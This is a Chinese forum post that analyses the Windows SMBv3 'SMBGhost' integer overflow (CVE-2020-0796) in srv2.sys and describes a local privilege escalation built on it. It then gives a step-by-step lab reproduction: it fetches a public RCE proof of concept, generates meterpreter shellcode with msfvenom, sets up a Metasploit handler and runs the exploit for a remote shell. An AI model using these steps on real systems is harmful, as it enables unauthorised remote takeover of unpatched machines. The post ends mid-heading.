標題:Windows SMBv3 CVE-2020-0796 漏洞分析和漏洞復現

taibeihacker

Moderator

0x00 漏洞描述​

漏洞公告顯示,SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。

0x01 漏洞响应版本​

Windows 10 1903版本(用於基於x32的系統)
Windows 10 1903版(用於基於x64的系統)
Windows 10 1903版(用於基於ARM64的系統)
Windows Server 1903版(服務器核心安裝)
Windows 10 1909版本(用於基於x32的系統)
Windows 10版本1909(用於基於x64的系統)
Windows 10 1909版(用於基於ARM64的系統)
Windows Server版本1909(服務器核心安裝)

0x02 漏洞分析​

漏洞公告顯示,SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。

1.根本原因​

漏洞發生在srv2.sys中,由於SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法.最終導致整數溢出。

2.初步分析​

該錯誤是發生在srv2.sys SMB服務器驅動程序中的Srv2DecompressData函數中的整數溢出錯誤。這是該函數的簡化版本,省略了不相關的細節:
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;
typedef struct _ALLOCATION_HEADER
{
//.
PVOID UserBuffer;
//.
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize)
{
PALLOCATION_HEADER Alloc=SrvNetAllocateBuffer(
(ULONG)(Header-OriginalCompressedSegmentSize + Header-Offset),
NULL);
If (!Alloc) {
return STATUS_INSUFFICIENT_RESOURCES;
}
ULONG FinalCompressedSize=0;
NTSTATUS Status=SmbCompressionDecompress(
Header-CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header-Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header-Offset),
(PUCHAR)Alloc-UserBuffer + Header-Offset,
Header-OriginalCompressedSegmentSize,
FinalCompressedSize);
if (Status 0 || FinalCompressedSize !=Header-OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header-Offset 0) {
memcpy(
Alloc-UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header-Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
該Srv2DecompressData函數接收客戶端發送的壓縮消息,分配所需的內存量,並解壓縮數據。然後,如果Offset字段不為零,它會將放置在壓縮數據之前的數據複製到分配的緩衝區的開頭。
1c1v2mtrhcz22441.png

如果仔細觀察,我們會發現第20行和第31行可能導致某些輸入的整數溢出。例如,大多數在bug發布後不久出現並導致系統崩潰的poc都使用0xffffff值作為Offset字段。使用該值0xffffff會在第20行觸發整數溢出,因此分配的字節更少。
稍後,它會在第31行觸發額外的整數溢出。崩潰是由於在第30行中計算出的遠離接收消息的地址處的內存訪問造成的。如果代碼在第31行驗證了計算結果,那麼它將很早退出,因為緩衝區長度恰好是負數且無法表示,這也使得第30行的地址本身也無效。
tjr24obpn3l22442.png

3.选择溢出内容​

只有兩個相關字段可以控制以導致整數溢出的字段:OriginalCompressedSegmentSize和Offset,因此沒有太多選擇。在嘗試了幾種組合之後,下面的組合吸引了我們:如果我們發送一個合法的偏移值和一個巨大的原始壓縮段大小值呢?讓我們回顧一下代碼將要執行的三個步驟:
分配:由於整數溢出,分配的字節數將小於兩個字段的總和。
解壓縮:解壓縮將收到一個非常大的OriginalCompressedSegmentSize值,將目標緩衝區視為具有無限大小。所有其他參數均不受影響,因此它將按預期執行。
複製:如果要執行,則復制將按預期執行。
不管是否要執行複制步驟,它看起來已經很有趣了——我們可以在解壓縮階段觸發越界寫入,因為我們設法分配了比“分配”階段所需的字節少的字節。
kos2vr2amkp22443.png

如您所見,使用這種技術,我們可以觸發任何大小和內容的溢出,這是一個很好的開始。但是什麼位於我們的緩衝區之外?讓我們找出答案!

4.深入分析SrvNetAllocateBuffer​

為了回答這個問題,我們需要查看分配函數,在我們的例子中是SrvNetAllocateBuffer。下面是函數的有趣部分:
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
//.
if (SrvDisableNetBufferLookAsideList || AllocSize0x100100) {
if (AllocSize0x1000100) {
return NULL;
}
Result=SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex=0;
if (AllocSize0x1100) {
LookasideListIndex=/* some calculation based on AllocSize */;
}
SOME_STRUCT list=SrvNetBufferLookasides[LookasideListIndex];
Result=/* fetch result from list */;
}
//Initialize some Result fields.
return Result;
}
我們可以看到分配函數根據所需的字節數執行不同的操作。大型分配(大於約16MB)會導致執行失敗。中型分配(大於約1 MB)使用SrvNetAllocateBufferFromPool函數進行分配。小型分配(其餘的)使用lookaside列表進行優化。
注意:還有一個SrvDisableNetBufferLookAsideList標誌會影響函數的功能,但是它是由一個未記錄的註冊表設置來設置的,並且默認情況下處於禁用狀態,因此並不是很有趣。
Lookaside列表用於有效地為驅動程序保留一組可重用的、固定大小的緩衝區。 lookaside列表的功能之一是定義一個自定義的分配/釋放函數,用於管理緩衝區。查看SrvNetBufferLookasides數組的引用,我們發現它是在SrvNetCreateBufferLookasides函數中初始化的,通過查看它,我們了解到以下內容:
自定義分配函數定義為SrvNetBufferLookasideAllocate,它只調用SrvNetAllocateBufferFromPool
9個lookaside列表按以下大小創建,我們使用Python快速計算:
[hex((1 (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
這與我們的發現相匹配,即分配大於0x100100字節的分配時不使用lookaside列表。
結論是每個分配請求最終都出現在SrvNetAllocateBufferFromPool函數中,所以讓我們來分析它。

6.SrvNetAllocateBufferFromPool和分配的缓冲区布局​

SrvNetAllocateBufferFromPool函數使用ExAllocatePoolWithTag函數在NonPagedPoolNx池中分配一個緩衝區,然後用數據填充一些結構。分配的緩衝區的佈局如下:
orc2ypojl5422444.png

在我們的研究範圍內,此佈局的唯一相關部分是用戶緩衝區和分配頭結構。我們可以馬上看到,通過溢出用戶緩衝區,我們最終會重寫ALLOCATION_HEADER結構。看起來很方便。

7.重写分配头结构​

此時,我們的第一個想法是,由SmbCompressionDecompress調用之後的檢查:
if (Status 0 || FinalCompressedSize !=Header-OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
SrvNetFreeBuffer將被調用,並且該函數將失敗,因為我們將其設計OriginalCompressedSegmentSize為一個很大的數字,並且FinalCompressedSize將成為一個較小的數字,代表實際的解壓縮字節數。因此,我們分析了該SrvNetFreeBuffer函數,成功地替換了一個幻數的分配指針,然後等待free函數嘗試對其進行釋放,以期稍後將其用於free-after-free或類似用途。但是令我們驚訝的是,該memcpy函數崩潰了。這使我們感到高興,因為我們根本沒有想到哪裡,但我們必須檢查為什麼會這樣。可以在SmbCompressionDecompress函數的實現中找到說明:
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
//.
NTSTATUS Status=RtlDecompressBufferEx2(
.
FinalUncompressedSize,
.);
if (Status=0) {
*FinalCompressedSize=CompressedBufferSize;
}
//.
return Status;
}
基本上,如果解壓成功,FinalCompressedSize將更新為保存CompressedBufferSize的值,它是緩衝區的大小。這種對FinalCompressedSize返回值的故意更新對我們來說似乎非常可疑,因為這個小細節,加上分配的緩衝區佈局,允許非常方便地利用這個bug。
由於執行繼續到復制原始數據的階段,讓我們再次檢查調用:
memcpy(
Alloc- UserBuffer,
(PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER),
Header- Offset);
從ALLOCATION_HEADER結構中讀取目標地址,我們可以覆蓋該結構。緩衝區的內容和大小也由我們控制。

8.本地权限提升​

既然我們有了寫在哪裡開發,我們能用它做什麼?很明顯我們可以讓系統崩潰。我們可能能夠觸發遠程代碼執行,但我們還沒有找到這樣做的方法。如果我們在本地主機上使用此漏洞並洩漏其他信息,我們可以將其用於本地權限提升,因為已經通過幾種技術證明了這一點
我們嘗試的第一種技術是Morten Schenk在其《Black Hat USA 2017》 演講中提出的。該技術涉及重寫win32的.data部分中的函數指針數據庫系統驅動程序,然後從用戶模式調用相應的函數以獲得代碼執行。 j00ru寫了一篇關於在WCTF 2018中使用此技術的精彩文章,並提供了他的漏洞源代碼。我們針對write what where漏洞進行了調整,但發現它不起作用,因為處理SMB消息的線程不是GUI線程。因此,win32數據庫系統沒有映射,而且技術也不相關(除非有辦法使它成為一個GUI線程,這是我們沒有研究過的)。
我們最終在2012年的黑帽演示中使用了cesarcer所介紹的著名技術—輕鬆本地Windows內核開發。該技術是通過使用NtQuerySystemInformation(SystemHandleInformation)API洩漏當前進程令牌地址,然後重寫該地址,授予當前進程令牌權限,這些權限可用於權限提升。 Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中濫用代理權限,展示了使用各種令牌特權提升特權的幾種方法。
我們基於Alexandre Beaulieu在利用任意寫操作提升權限writeup時共享的代碼進行攻擊。在修改進程的令牌特權後,我們通過將DLL注入winlogon.exe. DLL的全部目的是啟動命令提示符.我們的完整本地特權升級證明可在此處找到,僅可用於研究/防禦目的。

0x03 CVE-2020-0796 RCE漏洞复现​

1.環境準備
攻擊機:kal2019 ip:192.168.1.101
目標靶機:windows10 1903 x64 (專業版,企業版也可以) ip:192.168.1.103
目標靶機的下載地址:
ed2k://|file|cn_windows_10_business_editions_version_1903_x64_dvd_e001dd2c.iso|4815527936|47D4C57E638DF8BF74C59261E2CE702D|/
2.環境要求:
(1).該poc不太穩定,需要多次測試(猜測是佔用監聽端口或者網絡問題),有可能出現藍屏現象
(2).如果POC失敗,可能是目標系統開啟系統自帶的defender攔截了
(3).測試的時候,最好關閉防火牆和殺軟,讓445端口開放
3.復現步驟
(1).kali下克隆下載利用poc
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
elg3kkcs3cb22445.png

(2).切換到利用poc目錄下
root@kali2019:/opt# cd SMBGhost_RCE_PoC/
bzv1p3dsu5n22446.png

(3).該POC需要用python3環境執行
0vuhdctcc3h22447.png

(4).可以看到目標靶機的IP地址以及系統版本
aa25y5efrmt22448.png
u4plnzjturq22449.png

(5).在kali下生成python版本的反彈shellcode
root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
zr1olttpafr22450.png

(6).可以看到生成的shellcode
root@kali2019:~# cat exp.py
xpvvwwunbmx22451.png

(7).將生成的exp.py代碼中的變量buf全部替換成變量USER_PAYLOAD,然後將所有代碼粘貼覆蓋下面的代碼處:
1nt4zot0gxs22452.png

(8).在kali上啟動MSF,並如下設置
msf5 use exploit/multi/handler
msf5 exploit(multi/handler) set payload windows/x64/meterpreter/bind_tcp #設置反彈模式
msf5 exploit(multi/handler) set rhost 192.168.1.103 #設置目標靶機IP地址
msf5 exploit(multi/handler) set lport 2333 #設置監聽端口
msf5 exploit(multi/handler) exploit
qhhiwyiyp4i22453.png

(9).執行利用poc,可以看到成功執行,在按任意鍵,最好回車鍵即可
python3 exploit.py -ip 192.168.1.103
gnv5hyqkcbc22454.png

(10).在msf可以看到成功反彈出目標靶機的shell
uv3l14n34bu22455.png
0x04 CVE-2
 
返回
上方